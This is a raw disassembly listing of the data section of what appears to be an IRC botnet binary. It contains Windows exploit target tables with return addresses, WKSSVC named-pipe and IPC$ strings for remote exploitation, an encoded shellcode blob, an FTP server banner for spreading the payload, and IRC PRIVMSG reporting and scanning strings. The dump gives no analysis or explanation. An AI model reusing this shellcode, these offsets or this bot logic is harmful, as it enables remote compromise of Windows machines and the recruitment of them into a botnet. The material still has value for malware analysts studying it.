		dd 77B9310Dh, 7FCh, 1, 424508h,	77B9330Ch, 7FCh, 1, 4244ECh
		dd 77B93388h, 7FCh, 1, 4244D0h,	77B9339Eh, 7FCh, 1, 4244B4h
		dd 77B933BAh, 7FCh, 1, 424498h,	77B9373Dh, 7FCh, 1, 42447Ch
		dd 77B9378Ah, 7FCh, 1, 424470h,	41414141h, 7FCh, 1, 424458h
		dd 77E14C29h, 7FCh, 1, 424440h,	77E3CB4Ch, 7FCh, 1, 424428h
		dd 77E42C75h, 7FCh, 1, 424410h,	77E3C256h, 7FCh, 1, 4243F8h
		dd 77E2AFC5h, 7FCh, 1, 4243E0h,	77E2492Bh, 7FCh, 1, 4243C8h
		dd 77E4FF15h, 7FCh, 1, 4243B0h,	77E33F4Dh, 7FCh, 1, 326E6957h
		dd 5053204Bh, 72462030h, 50206D6Fh, 54546168h, 312079h
		dd 326E6957h, 5053204Bh, 72462031h, 50206D6Fh, 54546168h
		dd 322079h, 326E6957h, 5053204Bh, 72462032h, 50206D6Fh
		dd 54546168h, 312079h, 326E6957h, 5053204Bh, 72462033h
		dd 50206D6Fh, 54546168h, 312079h, 326E6957h, 5053204Bh
		dd 72462034h, 50206D6Fh, 54546168h, 332079h, 326E6957h
		dd 5053204Bh, 72462034h, 50206D6Fh, 54546168h, 322079h
		dd 326E6957h, 5053204Bh, 72462031h, 50206D6Fh, 54546168h
		dd 312079h, 326E6957h, 5053204Bh, 72462034h, 50206D6Fh
		dd 54546168h, 312079h, 20536F44h, 41205058h, 4C4Ch, 646E6957h
		dd 2073776Fh, 32206B75h, 6520336Bh, 70732065h, 34322030h
		dd 0
aWindowsUk2k3Ee	db 'Windows uk 2k3 ee sp0 23',0
		align 4
aWindowsUk2k3_0	db 'Windows uk 2k3 ee sp0 22',0
		align 10h
aWindowsUk2k3_1	db 'Windows uk 2k3 ee sp0 21',0
		align 4
aWindowsUk2k3_2	db 'Windows uk 2k3 ee sp0 20',0
		align 4
aWindowsUk2k3_3	db 'Windows uk 2k3 ee sp0 19',0
		align 4
aWindowsUk2k3_4	db 'Windows uk 2k3 ee sp0 18',0
		align 10h
aWindowsUk2k3_5	db 'Windows uk 2k3 ee sp0 17',0
		align 4
aWindowsUk2k3_6	db 'Windows uk 2k3 ee sp0 16',0
		align 4
aWindowsUk2k3_7	db 'Windows uk 2k3 ee sp0 15',0
		align 4
aWindowsUk2k3_8	db 'Windows uk 2k3 ee sp0 14',0
		align 10h
aWindowsUk2k3_9	db 'Windows uk 2k3 ee sp0 13',0
		align 4
aWindowsUk2k_10	db 'Windows uk 2k3 ee sp0 12',0
		align 4
aWindowsUk2k_11	db 'Windows uk 2k3 ee sp0 11',0
		align 4
aWindowsUk2k_12	db 'Windows uk 2k3 ee sp0 10',0
		align 10h
aWindowsUk2k_13	db 'Windows uk 2k3 ee sp0 9',0
aWindowsUk2k_14	db 'Windows uk 2k3 ee sp0 8',0
aWindowsUk2k_15	db 'Windows uk 2k3 ee sp0 7',0
aWindowsUk2k_16	db 'Windows uk 2k3 ee sp0 6',0
aWindowsUk2k_17	db 'Windows uk 2k3 ee sp0 5',0
aWindowsUk2k_18	db 'Windows uk 2k3 ee sp0 4',0
aWindowsUk2k_19	db 'Windows uk 2k3 ee sp0 3',0
aWindowsUk2k_20	db 'Windows uk 2k3 ee sp0 2',0
aWindowsUk2k_21	db 'Windows uk 2k3 ee sp0 1',0
aWindowsUk2k3Se	db 'Windows uk 2k3 se sp0 24',0
		align 4
aWindowsUk2k_22	db 'Windows uk 2k3 se sp0 23',0
		align 10h
aWindowsUk2k_23	db 'Windows uk 2k3 se sp0 22',0
		align 4
aWindowsUk2k_24	db 'Windows uk 2k3 se sp0 21',0
		align 4
aWindowsUk2k_25	db 'Windows uk 2k3 se sp0 20',0
		align 4
aWindowsUk2k_26	db 'Windows uk 2k3 se sp0 19',0
		align 10h
aWindowsUk2k_27	db 'Windows uk 2k3 se sp0 18',0
		align 4
aWindowsUk2k_28	db 'Windows uk 2k3 se sp0 17',0
		align 4
aWindowsUk2k_29	db 'Windows uk 2k3 se sp0 16',0
		align 4
aWindowsUk2k_30	db 'Windows uk 2k3 se sp0 15',0
		align 10h
aWindowsUk2k_31	db 'Windows uk 2k3 se sp0 14',0
		align 4
aWindowsUk2k_32	db 'Windows uk 2k3 se sp0 13',0
		align 4
aWindowsUk2k_33	db 'Windows uk 2k3 se sp0 12',0
		align 4
aWindowsUk2k_34	db 'Windows uk 2k3 se sp0 11',0
		align 10h
aWindowsUk2k_35	db 'Windows uk 2k3 se sp0 10',0
		align 4
aWindowsUk2k_36	db 'Windows uk 2k3 se sp0 9',0
aWindowsUk2k_37	db 'Windows uk 2k3 se sp0 8',0
aWindowsUk2k_38	db 'Windows uk 2k3 se sp0 7',0
aWindowsUk2k_39	db 'Windows uk 2k3 se sp0 6',0
aWindowsUk2k_40	db 'Windows uk 2k3 se sp0 5',0
aWindowsUk2k_41	db 'Windows uk 2k3 se sp0 4',0
aWindowsUk2k_42	db 'Windows uk 2k3 se sp0 3',0
aWindowsUk2k_43	db 'Windows uk 2k3 se sp0 2',0
aWindowsUk2k_44	db 'Windows uk 2k3 se sp0 1',0
aWindowsUkXpP_0	db 'Windows uk xp pro sp1 25',0
		align 10h
aWindowsUkXpP_1	db 'Windows uk xp pro sp1 24',0
		align 4
aWindowsUkXpP_2	db 'Windows uk xp pro sp1 23',0
		align 4
aWindowsUkXpP_3	db 'Windows uk xp pro sp1 22',0
		align 4
aWindowsUkXpP_4	db 'Windows uk xp pro sp1 21',0
		align 10h
aWindowsUkXpP_5	db 'Windows uk xp pro sp1 20',0
		align 4
aWindowsUkXpP_6	db 'Windows uk xp pro sp1 19',0
		align 4
aWindowsUkXpP_7	db 'Windows uk xp pro sp1 18',0
		align 4
aWindowsUkXpP_8	db 'Windows uk xp pro sp1 17',0
		align 10h
aWindowsUkXpP_9	db 'Windows uk xp pro sp1 16',0
		align 4
aWindowsUkXp_10	db 'Windows uk xp pro sp1 15',0
		align 4
aWindowsUkXp_11	db 'Windows uk xp pro sp1 14',0
		align 4
aWindowsUkXp_12	db 'Windows uk xp pro sp1 13',0
		align 10h
aWindowsUkXp_13	db 'Windows uk xp pro sp1 12',0
		align 4
aWindowsUkXp_14	db 'Windows uk xp pro sp1 11',0
		align 4
aWindowsUkXp_15	db 'Windows uk xp pro sp1 10',0
		align 4
aWindowsUkXp_16	db 'Windows uk xp pro sp1 9',0
aWindowsUkXp_17	db 'Windows uk xp pro sp1 8',0
aWindowsUkXp_18	db 'Windows uk xp pro sp1 7',0
aWindowsUkXp_19	db 'Windows uk xp pro sp1 6',0
aWindowsUkXp_20	db 'Windows uk xp pro sp1 5',0
aWindowsUkXp_21	db 'Windows uk xp pro sp1 4',0
aWindowsUkXp_22	db 'Windows uk xp pro sp1 3',0
aWindowsUkXp_23	db 'Windows uk xp pro sp1 2',0
aWindowsUkXpPro	db 'Windows uk xp pro sp1 1',0 ; DATA XREF: .data:00423E90o
aWindows2000Sp4	db 'Windows 2000 SP4 GER FAT32',0
		align 4
aWindowsNlSp123	db 'Windows nl sp1 23',0
		align 4
aWindowsNlSp122	db 'Windows nl sp1 22',0
		align 10h
aWindowsNlSp121	db 'Windows nl sp1 21',0
		align 4
aWindowsNlSp120	db 'Windows nl sp1 20',0
		align 4
aWindowsNlSp119	db 'Windows nl sp1 19',0
		align 4
aWindowsNlSp118	db 'Windows nl sp1 18',0
		align 10h
aWindowsNlSp117	db 'Windows nl sp1 17',0
		align 4
aWindowsNlSp116	db 'Windows nl sp1 16',0
		align 4
aWindowsNlSp115	db 'Windows nl sp1 15',0
		align 4
aWindowsNlSp114	db 'Windows nl sp1 14',0
		align 10h
aWindowsNlSp113	db 'Windows nl sp1 13',0
		align 4
aWindowsNlSp112	db 'Windows nl sp1 12',0
		align 4
aWindowsNlSp111	db 'Windows nl sp1 11',0
		align 4
aWindowsNlSp110	db 'Windows nl sp1 10',0
		align 10h
aWindowsNlSp19	db 'Windows nl sp1 9',0
		align 4
aWindowsNlSp18	db 'Windows nl sp1 8',0
		align 4
aWindowsNlSp17	db 'Windows nl sp1 7',0
		align 4
aWindowsNlSp16	db 'Windows nl sp1 6',0
		align 10h
aWindowsNlSp15	db 'Windows nl sp1 5',0
		align 4
aWindowsNlSp14	db 'Windows nl sp1 4',0
		align 4
aWindowsNlSp13	db 'Windows nl sp1 3',0
		align 4
aWindowsNlSp12	db 'Windows nl sp1 2',0
		align 10h
aWindowsNlSp11	db 'Windows nl sp1 1',0
		align 4
aWindowsXpSp01E	db 'Windows XP SP0+1 ENG',0 ; DATA XREF: .data:00423D00o
		align 4
aWindowsXpSp01G	db 'Windows XP SP0+1 GER+NL+IT+FR',0
		align 4
dword_424E2C	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0dword_424E40	dd 6BFFD098h, 3610A112h, 0C3463398h, 5A347EF8h,	0
					; DATA XREF: sub_403C2B+243o
aSPipeWkssvc	db '\\%s\pipe\wkssvc',0 ; DATA XREF: sub_403C2B+1E4o
		align 4
aSIpc		db '\\%s\ipc$',0        ; DATA XREF: sub_403C2B+19Ao
		align 4
a_:					; DATA XREF: sub_403C2B+184o
					; sub_40517E+24Do
		unicode	0, <.>,0
aS		db '\\%s',0             ; DATA XREF: sub_403C2B+153o
		align 10h
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_4041D7+5CDo
aQuit		db 'QUIT',0             ; DATA XREF: sub_4041D7+5B9o
					; sub_40CC09+534o
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_4041D7+5ACo
		align 4
unk_424EC8	db    2			; DATA XREF: sub_4041D7+561o
		db 52h,	2 dup(4Fh)
		db  54h	; T
		db 45h,	44h, 2
aSPortDNowExecu	db '    %s, port:%d now executing %s on remote machine.',0
		align 4
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_4041D7+542o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_4041D7+516o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_4041D7+4FEo
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_4041D7+4E9o
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_4041D7+4D8o
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_4041D7+4A5o
		align 4
aS_0		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_4041D7+464o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_4041D7+42Bo
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_4041D7+3FDo
		align 10h
aList		db 'LIST',0             ; DATA XREF: sub_4041D7+3EAo
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_4041D7+3AFo
		align 4
aPasv		db 'PASV',0             ; DATA XREF: sub_4041D7+39Co
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_4041D7+38Co
aI:					; DATA XREF: sub_4041D7+378o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_4041D7+351o
aA:					; DATA XREF: sub_4041D7+33Do
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_4041D7+326o
					; sub_4041D7+361o
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_4041D7+316o
		align 4
off_425064	dd offset dword_445750	; DATA XREF: sub_4041D7+302o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_4041D7+2F2o
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_4041D7+2DEo
		align 4
a215Nzmxftpd	db '215 NzmxFtpd',0Ah,0 ; DATA XREF: sub_4041D7+2CEo
		align 4
aSyst		db 'SYST',0             ; DATA XREF: sub_4041D7+2BAo
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_4041D7+2AAo
		align 4
aPass		db 'PASS',0             ; DATA XREF: sub_4041D7+296o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_4041D7+286o
		align 4
aUser		db 'USER',0             ; DATA XREF: sub_4041D7+271o
					; .data:0042A504o ...
		align 4
aSS		db '%s %s',0            ; DATA XREF: sub_4041D7+260o
		align 4
a220Nzmxftpd0wn	db '220 NzmxFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_4041D7+1D8o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_404857+24o
					; sub_405A21+12Eo ...
		align 10h
unk_425100	db    2			; DATA XREF: sub_4048F1+3F8o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	68h, 74h
		db  74h	; t
		db 70h,	64h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aErrorServerFai	db ' Error: server failed, returned: <%d>.',0
		align 4
asc_425144	db 0Dh,0Ah,0		; DATA XREF: sub_4048F1+2CFo
		align 4
asc_425148:				; DATA XREF: sub_4048F1+293o
					; sub_40CC09+A8o ...
		unicode	0, < >,0
aGet		db 'GET ',0             ; DATA XREF: sub_4048F1+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_404D4C+F6o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_404D4C+D3o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_404D4C+97o
					; sub_4093C1+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_404D4C+83o
		align 10h
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_404D4C:loc_404DB1o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_404D4C+5Eo
		align 4
unk_425368	db    2			; DATA XREF: sub_404ECE+28Fo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	68h, 74h
		db  74h	; t
		db 70h,	64h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToStartW	db ' Failed to start worker thread, error: <%d>.',0
		align 4
unk_4253B4	db    2			; DATA XREF: sub_404ECE+20Bo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	68h, 74h
		db  74h	; t
		db 70h,	64h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aWorkerThreadOf	db ' Worker thread of server thread: %d.',0
		align 4
asc_4253F8:				; DATA XREF: sub_404ECE+157o
					; .data:0042C19Co
		unicode	0, <*>,0
asc_4253FC:				; DATA XREF: sub_404ECE+FBo
					; sub_40517E+29o ...
		dw 0Ah
		unicode	0, <>,0
aSS_0		db '%s%s',0             ; DATA XREF: sub_404ECE+EAo
					; sub_40517E+4D9o ...
		align 4
aS_2		db '%s',0               ; DATA XREF: sub_404ECE+3Ao
					; sub_408F0D+4Co ...
		align 4
off_42540C	dd offset dword_73255C	; DATA XREF: sub_404ECE+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40517E+663o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40517E+648o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40517E+62Do
		align 10h
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40517E+59Eo
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40517E+573o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40517E:loc_4056A5o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40517E+520o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40517E+480o
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40517E+440o
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40517E+40Ao
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40517E:loc_405546o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40517E+3C1o
		align 4
aSS_1		db '%s%s/',0            ; DATA XREF: sub_40517E+37Ao
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40517E+336o
					; sub_40517E+495o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40517E+314o
		align 4
aS_1		db '<%s>',0             ; DATA XREF: sub_40517E+2E7o
					; sub_40517E+41Co
		align 10h
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40517E+2BDo
aAm		db 'AM',0               ; DATA XREF: sub_40517E+290o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_40517E+285o
		align 4
a__		db '..',0               ; DATA XREF: sub_40517E+232o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40517E+1C0o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40517E+147o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40517E+12Bo
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40517E+F7o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40517E+ADo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40517E+78o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40517E+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_405900+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_4258B0	dd 4000500h, 7868746Bh,	0dword_4258BC	dd 5B027302h, 5D1F491Fh, 66742820h, 702E7074h, 671F6C1Fh
					; DATA XREF: sub_405A21+47Fo
		dd 0BB022029h, 202002BBh, 6E617274h, 72656673h,	206F7420h
		dd 20732520h, 731F0220h, 65636375h, 75667373h, 20796C6Ch
		dd 706D6F63h, 6574656Ch, 2C021F64h, 666E6920h, 28203A6Fh
		dd 2E297325h, 0
unk_425914	db    2			; DATA XREF: sub_405A21+3B6o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	74h, 66h
		db  74h	; t
		db 70h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFileNotFoundSS	db 'File not found: %s (%s).',0
		align 4
dword_42594C	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_405A21+399o
dword_425960	dd 5B027302h, 5D1F491Fh, 66742820h, 702E7074h, 671F6C1Fh
					; DATA XREF: sub_405A21+33Eo
		dd 0BB022029h, 202002BBh, 6E617274h, 72656673h,	206F7420h
		dd 20732520h, 621F0220h, 6E696765h, 676E696Eh, 202C021Fh
		dd 6F666E69h, 2528203Ah, 2E2973h
unk_4259A8	db    2			; DATA XREF: sub_405A21+15Ao
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	74h, 66h
		db  74h	; t
		db 70h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToOpenFi	db 'Failed to open file: %s.',0
		align 10h
unk_4259E0	db    2			; DATA XREF: sub_405A21+6Ao
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	74h, 66h
		db  74h	; t
		db 70h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorSocketF_2	db 'Error: socket() failed, returned: <%d>.',0
aOctet		db 'octet',0            ; DATA XREF: sub_405A21+Fo
		align 10h
aW1		db 'w1',0               ; DATA XREF: sub_40656E+164o
		align 4
		dd 0
		db 2 dup(0)
aWkssvc_eng	db 'WKSSVC_Eng',0       ; DATA XREF: sub_402F48+1C8o
					; .text:0040395Co
		align 4
		dd 4 dup(0)
dword_425A58	dd 1BDh							; sub_40CC09+2C4Cr ...
off_425A5C	dd offset sub_404143	; DATA XREF: sub_40656E+1E6r
dword_425A60	dd 0							; sub_402F48+202r ...
dword_425A64	dd 1		dword_425A68	dd 0				dd 3277h, 0
		dd 4B570000h, 43565353h, 68744F5Fh, 7265h, 4 dup(0)
		dd 1BDh, 40418Dh, 0
		dd 1, 0
		dd 77h,	0
		dd 4B570000h, 53414D53h, 53h, 5	dup(0)
		dd 1BDh, 403AC4h, 0
		dd 1, 0
		dd 3161h, 0
		dd 73610000h, 6D73316Eh, 62h, 5	dup(0)
		dd 1BDh, 402F48h, 0
		dd 2 dup(1), 7361736Dh,	73h, 73610000h,	6D73316Eh, 746E62h
		dd 5 dup(0)
		dd 8Bh,	402F48h, 0
		dd 2 dup(1), 61h, 0
		dd 53410000h, 4Eh, 6 dup(0)
		dd 1BDh, 40247Ch, 0
		dd 2 dup(1), 316E7361h,	6E626D73h, 736D0074h, 30343630h
		dd 6 dup(0)
		dd 1BDh, 403548h, 0
		dd 2 dup(1), 0Fh dup(0)
		dd 4A5A10EBh, 0B966C933h, 34800166h, 0FAE2990Ah, 0EBE805EBh
		dd 70FFFFFFh, 99999899h, 699521C3h, 9912E664h, 3485E912h
		dd 1291D912h, 0A5EA1241h, 0EF126A9Ah, 126A9AE1h, 629AB9E7h
		dd 0AA8DD712h, 0C8CECF74h, 629AA612h, 97F36B12h, 0ED3F6AC0h
		dd 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h, 0DF125412h, 485A9ABDh
		dd 0AA589A78h, 9112FF50h, 9A85DF12h, 9B78585Ah,	9912589Ah
		dd 63125A9Ah, 5F1A6E12h, 0F3491297h, 0E571C09Ah, 1A999999h
		dd 0CFCB945Fh, 0C365CE66h, 9DF34112h, 99F071C0h, 0C9C99999h
		dd 98F3C9C9h, 0CE669BF3h, 5E411269h, 9E999B9Eh,	1059AA24h
		dd 89F39DDEh, 0CE66CACEh, 0CA98F36Dh, 0C961CE66h, 0CE66CAC9h
		dd 0DD751A65h, 42AA6D12h, 10C089F3h, 627B1785h,	10A1DF10h
		dd 0DF10A5DFh, 0B5DF5ED9h, 99999898h, 0C989DE14h, 0CACACACFh
		dd 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h, 0CAC9A5DEh, 0C97DCE66h
		dd 0AA71CE66h, 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h
		dd 5A59AA77h, 66676271h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h
		dd 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh
		dd 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh, 0D5FDF8F6h, 0F8EBFBF0h
		dd 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh, 0F6CAD8CAh, 0EDFCF2FAh
		dd 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h, 0FAF899F7h, 0EDE9FCFAh
		dd 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_405F18+81o
		align 4
aSD		db ' %s: %d,',0         ; DATA XREF: sub_405F18+42o
		align 10h
unk_425DB0	db    2			; DATA XREF: sub_405F18+11o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	70h, 6Fh
		db  72h	; r
		db 74h,	73h, 63h
		db  61h	; a
		db 6Eh,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aExploitStatist	db 'Exploit Statistics:',0
unk_425DE4	db    2			; DATA XREF: sub_405FE2+42o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	70h, 6Fh
		db  72h	; r
		db 74h,	73h, 63h
		db  61h	; a
		db 6Eh,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aScanNotActive_	db 'Scan not active.',0
		align 4
unk_425E18	db    2			; DATA XREF: sub_405FE2+2Co
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	70h, 6Fh
		db  72h	; r
		db 74h,	73h, 63h
		db  61h	; a
		db 6Eh,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aCurrentIpS_	db 'Current IP: %s.',0
unk_425E48	db    2			; DATA XREF: sub_406059+36Fo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	68h, 74h
		db  74h	; t
		db 70h,	64h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToStartS	db ' Failed to start server, error: <%d>.',0
		align 4
unk_425E8C	db    2			; DATA XREF: sub_406059+307o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	68h, 74h
		db  74h	; t
		db 70h,	64h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aServerListenin	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_425ED8	db    2			; DATA XREF: sub_406059+267o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
